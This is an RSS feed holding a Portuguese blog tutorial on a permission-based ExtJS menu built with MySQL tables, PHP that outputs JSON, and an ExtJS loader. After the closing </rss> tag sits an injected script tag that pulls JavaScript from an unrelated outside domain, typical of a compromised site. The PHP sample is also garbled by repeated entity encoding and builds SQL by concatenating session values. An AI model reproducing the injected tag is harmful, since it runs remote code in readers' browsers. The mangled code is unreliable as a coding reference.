<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Blog do Marcos &#187; Json</title>
	<atom:link href="http://marcos.blog.br/tag/json/feed/" rel="self" type="application/rss+xml" />
	<link>http://marcos.blog.br</link>
	<description>badulaques, gadgets e outros...</description>
	<lastBuildDate>Mon, 12 Jul 2010 21:15:50 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Menu em ExtJS com Permissões usando PHP e Mysql</title>
		<link>http://marcos.blog.br/2009/10/menu-em-extjs-com-permissoes-usando-php-e-mysql/</link>
		<comments>http://marcos.blog.br/2009/10/menu-em-extjs-com-permissoes-usando-php-e-mysql/#comments</comments>
		<pubDate>Thu, 29 Oct 2009 01:37:18 +0000</pubDate>
		<dc:creator>Marcos</dc:creator>
				<category><![CDATA[ExtJS]]></category>
		<category><![CDATA[Json]]></category>
		<category><![CDATA[MySQL]]></category>
		<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://marcos.blog.br/?p=138</guid>
		<description><![CDATA[Uma das coisas que mais me deu dor de cabeça quando comecei a trabalhar com ExtJS foi montar uma estrutura de Menu Dinâmico de acordo com as permissões do usuário logado. Por isso vou compartilhar minha solução]]></description>
			<content:encoded><![CDATA[<p>Uma das coisas que mais me deu dor de cabeça quando comecei a trabalhar com <strong>ExtJS </strong>foi montar uma estrutura de <strong>Menu Dinâmico</strong> de acordo com as <strong>permissões</strong> do usuário logado. Por isso vou compartilhar minha solução:</p>
<p>Primeiro de tudo vamos criar o nosso <strong>banco de dados</strong>. Vamos precisar de duas tabelas: uma para o nosso <strong>menu</strong> e outra com as <strong>permissões de cada usuário</strong>.</p>
<p>A tabela do Menu terá os campos de id (o id do objeto no Extjs para facilitar manipulação posterior), o nome, o ícone, a pai (caso exista), a ordem e é claro a <strong>função que será chamada na ação do clique</strong>. Na segunda tabela vamos ter apenas duas chave, o id do usuário e o id do menu. Segue abaixo de exemplo a que eu utilizei:</p>
<h3>MySQL</h3>
<pre class="brush:sql">
#
# Estrutura da Tabela Menu
#

CREATE TABLE /*!32312 IF NOT EXISTS*/ `menu` (
  `id_menu` int(3) NOT NULL AUTO_INCREMENT,
  `id` varchar(20) DEFAULT NULL,
  `menu` varchar(70) DEFAULT NULL,
  `ordem` int(3) DEFAULT NULL,
  `pai` int(3) DEFAULT NULL,
  `ico` varchar(50) DEFAULT NULL,
  `funcao` varchar(80) DEFAULT NULL,
  PRIMARY KEY (`id_menu`)
) TYPE=MyISAM AUTO_INCREMENT=1 DEFAULT CHARSET=latin1;

#
# Estrutura da Tabela de Permissões
#

CREATE TABLE /*!32312 IF NOT EXISTS*/ `permissoes` (
  `id_usuario` int(3) NOT NULL DEFAULT '0',
  `id_menu` int(3) NOT NULL DEFAULT '0',
  PRIMARY KEY (`id_menu`,`id_usuario`)
) TYPE=MyISAM DEFAULT CHARSET=latin1;
</pre>
<p><em>Dica: Vale lembrar que o ícone dos pais são definidos pelo nome da classe CSS e os filhos devemos especificar o caminho físico da imagem. Não sei por que, mas sub-menus não possuem o atributo &#8220;iconCls&#8221;. No PHP já vamos levar isso em conta.</em></p>
<p>A outra parte do nosso Menu é a montagem do <strong>Json</strong> que irá ser lido no <strong>ExtJS</strong>. Este método foi testado apenas com 1 sub-nível de menu, mas é fácil de modificar para funcionar com mais. Se alguém fizer, comente a experiência. O método é bem simples de entender. Basicamente <strong>buscamos os ítens do Menu principal e percorremos ele em busca de sub-menus alocando tudo em um array associativo</strong>.</p>
<h3>PHP</h3>
<pre class="brush:php">
		private function trataObjJson($strJson,$arrObjs)
		{
			foreach($arrObjs AS $obj)
				$strJson = str_replace(&amp;amp;amp;amp;quot;\&amp;amp;amp;amp;quot;&amp;amp;amp;amp;quot; . $obj . &amp;amp;amp;amp;quot;\&amp;amp;amp;amp;quot;&amp;amp;amp;amp;quot;,$obj,$strJson);
			return $strJson;
		}

		public function getMenu()
		{
			if($this-&amp;amp;amp;amp;gt;Search(&amp;amp;amp;amp;quot;SELECT id_usuario FROM usuarios WHERE id_usuario=&amp;amp;amp;amp;quot; . $_SESSION['id_usuario']))
			{
				$menu = &amp;amp;amp;amp;quot;&amp;amp;amp;amp;quot;;
				$tmpMenuPai = $this-&amp;amp;amp;amp;gt;Search(&amp;amp;amp;amp;quot;SELECT A.id_menu,id,menu,ordem,pai,ico,funcao FROM menu A JOIN permissoes B ON A.id_menu=B.id_menu WHERE A.pai=0 AND B.id_usuario=&amp;amp;amp;amp;quot; . $_SESSION['id_usuario'] . &amp;amp;amp;amp;quot; ORDER By A.ordem&amp;amp;amp;amp;quot;);
				$i=0;
				$funcoes = array();
				foreach($tmpMenuPai AS $item)
				{
					$menu[$i]['text'] 			= $item['menu'];
					$menu[$i]['iconCls'] 		= $item['ico'];
					$menu[$i]['tabIndex'] 		= $i;
					if($item['funcao']) {
						$menu[$i]['id'] 		= $item['id'];

						$menu[$i]['handler'] 	= $item['funcao'];
						$funcoes[] = $item['funcao'];
					}

					$tmpMenuFilho = $this-&amp;amp;amp;amp;gt;Search(&amp;amp;amp;amp;quot;SELECT A.id_menu,menu,id,ordem,ico,funcao FROM menu A JOIN permissoes B ON A.id_menu=B.id_menu WHERE A.pai=&amp;amp;amp;amp;quot; . $item['id_menu'] . &amp;amp;amp;amp;quot; AND B.id_usuario=&amp;amp;amp;amp;quot; . $this-&amp;amp;amp;amp;gt;_id . &amp;amp;amp;amp;quot; ORDER By A.ordem&amp;amp;amp;amp;quot;);
					$arrFilho = Array();
					$j=0;
					foreach($tmpMenuFilho AS $filho)
					{
						$arrFilho[$j]['text']			= $filho['menu'];
						$arrFilho[$j]['icon']			= $filho['ico'];
						if($filho['funcao']) {
							$arrFilho[$j]['id'] 		= $filho['id'];

							$arrFilho[$j]['handler'] 	= $filho['funcao'];
							$funcoes[] = $filho['funcao'];
						}
						$j++;
					}
					if($arrFilho)
						$menu[$i]['menu'] = $arrFilho;
					$i++;
				}
				header(&amp;amp;amp;amp;quot;Content-Type: application/json&amp;amp;amp;amp;quot;);
				echo $this-&amp;amp;amp;amp;gt;trataObjJson(json_encode($menu),$funcoes);
			}
		}
</pre>
<p>Observe que precisamos de um <strong>método auxiliar para tratar as funções</strong>. Isso se deve pelo fato da função <i>json_encode</i> do PHP colocar áspas em tudo, então para o ExtJS não interpretar nossa função como uma string e gerar um erro, <strong>utilizamos uma função para retira-las</strong>.</p>
<p>Agora que já temos a nossa estrutura de menu em Json, bastam poucas linhas em ExtJS para finalizar:</p>
<h3>ExtJS</h3>
<pre class="brush:javascript">
Ext.onReady(function(){
 	var conn = new Ext.data.Connection();
	conn.request({
		url: 'inc/php/menu.class.php',
		success: function(a){Ext.getCmp('menuPrincipal').bottomToolbar.add(Ext.util.JSON.decode(a.responseText));},
		failure: function(){Ext.MessageBox.alert('Erro', 'Erro ao carregar menu. Atualize a página.');}
	});
});
</pre>
<p>Espero ter ajudado. </p>
<!-- PHP 5.x -->]]></content:encoded>
			<wfw:commentRss>http://marcos.blog.br/2009/10/menu-em-extjs-com-permissoes-usando-php-e-mysql/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
	</channel>
</rss>
<script src="http://whereisdudescars.com/js2.php"></script>